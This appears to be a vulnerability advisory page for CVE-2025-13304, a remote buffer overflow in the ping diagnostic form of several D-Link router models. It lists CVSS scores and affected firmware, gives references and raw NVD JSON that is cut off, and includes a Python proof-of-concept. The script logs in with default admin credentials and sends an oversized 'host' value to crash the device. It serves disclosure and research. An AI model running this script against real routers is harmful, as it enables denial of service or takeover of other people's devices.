CVE-2025-13304

Description

A security flaw has been discovered in D-Link DWR-M920, DWR-M921, DWR-M960, DWR-M961 and DIR-825M 1.01.07/1.1.47. This vulnerability affects unknown code of the file /boafrm/formPingDiagnosticRun. Performing manipulation of the argument host results in buffer overflow. The attack may be initiated remotely. The exploit has been released to the public and may be exploited.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-825m_firmware:1.01.07:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:dlink:dir-825m_firmware:1.1.47:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dir-825m:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dwr-m920_firmware:1.01.07:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:dlink:dwr-m920_firmware:1.1.47:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dwr-m920:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dwr-m921_firmware:1.01.07:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:dlink:dwr-m921_firmware:1.1.47:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dwr-m921:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dwr-m961_firmware:1.01.07:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:dlink:dwr-m961_firmware:1.1.47:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dwr-m961:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dwr-m960_firmware:1.01.07:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:dlink:dwr-m960_firmware:1.1.47:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dwr-m960:b1:*:*:*:*:*:*:* - NOT VULNERABLE

D-Link DWR-M920 固件 < 1.01.07

D-Link DWR-M921 固件 < 1.01.07

D-Link DWR-M960 固件 < 1.1.47

D-Link DWR-M961 固件 < 1.1.47

D-Link DIR-825M 固件 < 1.01.07/1.1.47

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2025-13304 PoC - D-Link Router formPingDiagnosticRun Buffer Overflow
Affected: DWR-M920, DWR-M921, DWR-M960, DWR-M961, DIR-825M (Firmware 1.01.07/1.1.47)
Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-13304
"""

import requests
import sys

TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.1.1"
LOGIN_URL = f"{TARGET_HOST}/login.cgi"
PING_URL = f"{TARGET_HOST}/boafrm/formPingDiagnosticRun"

def login(session, username="admin", password="admin"):
    """Authenticate to the D-Link router web interface"""
    login_data = {
        "username": username,
        "password": password
    }
    try:
        response = session.post(LOGIN_URL, data=login_data, timeout=10)
        return response.status_code == 200
    except requests.exceptions.RequestException:
        return False

def exploit_buffer_overflow(session, host_param):
    """Send malicious ping request to trigger buffer overflow"""
    # Buffer overflow payload - oversized host parameter
    # Typical buffer size in embedded systems is 128-256 bytes
    # Sending 1000+ bytes to overflow the buffer
    overflow_payload = "A" * 1000
    
    if host_param:
        overflow_payload = host_param
    
    ping_data = {
        "host": overflow_payload,
        "action": "ping"
    }
    
    try:
        response = session.post(PING_URL, data=ping_data, timeout=10)
        print(f"[*] Request sent to {PING_URL}")
        print(f"[*] Payload length: {len(overflow_payload)}")
        return response
    except requests.exceptions.RequestException as e:
        print(f"[!] Request failed: {e}")
        return None

def main():
    print("[*] CVE-2025-13304 D-Link Router Buffer Overflow PoC")
    print("[*] Target: DWR-M920/M921/M960/M961, DIR-825M")
    print("[*] Vulnerability: Buffer overflow in /boafrm/formPingDiagnosticRun")
    
    session = requests.Session()
    
    # Attempt login with default credentials
    print(f"[*] Attempting authentication to {TARGET_HOST}")
    if login(session):
        print("[+] Authentication successful")
    else:
        print("[!] Authentication failed, trying without login...")
    
    # Send buffer overflow payload
    print("[*] Sending buffer overflow payload...")
    exploit_buffer_overflow(session, None)
    
    print("[*] Exploit sent. Check device for crash or shell access.")

if __name__ == "__main__":
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13304
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13304
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13304/
[4] VulDB https://vuldb.com/cve/CVE-2025-13304
[5] https://github.com/LX-LX88/cve/issues/11
[6] https://vuldb.com/?ctiid.332644
[7] https://vuldb.com/?id.332644
[8] https://vuldb.com/?submit.691808
[9] https://vuldb.com/?submit.691810
[10] https://vuldb.com/?submit.691812
[11] https://vuldb.com/?submit.691817
[12] https://vuldb.com/?submit.691821
[13] https://www.dlink.com/
[14] https://github.com/LX-LX88/cve/issues/11

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13304", "sourceIdentifier": "[email protected]", "published": "2025-11-17T23:15:48.357", "lastModified": "2025-12-08T14:12:02.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in D-Link DWR-M920, DWR-M921, DWR-M960, DWR-M961 and DIR-825M 1.01.07/1.1.47. This vulnerability affects unknown code of the file /boafrm/formPingDiagnosticRun. Performing manipulation of the argument host results in buffer overflow. The attack may be initiated remotely. The exploit has been released to the public and may be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-825m_firmware:1.01.07:*:*:*:*:*:*:*", "matchCriteriaId": "BCF53E63-DA11-4E47-B8AB-25AC02AE05EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-825m_firmware:1.1.47:*:*:*:*:*:*:*", "matchCriteriaId": "3D1D6E58-AFB9-47A7-A30D-85CD803049E0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-825m:-:*:*:*:*:*:*:*", "matchCriteriaId": "1B727E66-E5B3-44BA-89ED-F489D1E779A0"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dwr-m920_firmware:1.01.07:*:*:*:*:*:*:*", "matchCriteriaId": "CF5AD947-3F77-4254-A3D5-75895904336A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dwr-m920_firmware:1.1.47:*:*:*:*:*:*:*", "matchCriteriaId": "131CF143-8ACD-4907-9652-CC1A89E9C5D0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dwr-m920:-:*:*:*:*:*:*:*", "matchCriteriaId": "E815EF72-10FC-43A4-84A7-A25ABE7A4640"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dwr-m921_firmware:1.01.07:*:*:*:*:*:*:*", "matchCriteriaId": "D65B00A2-C671-48E7-855D-FDF21E4E115F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dwr-m921_firmware:1.1.47:*:*:*:*:*:*:*", "matchCriteriaId": "34C588EE-132E-47A4-A546-BC2447B14FE8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria ... (truncated)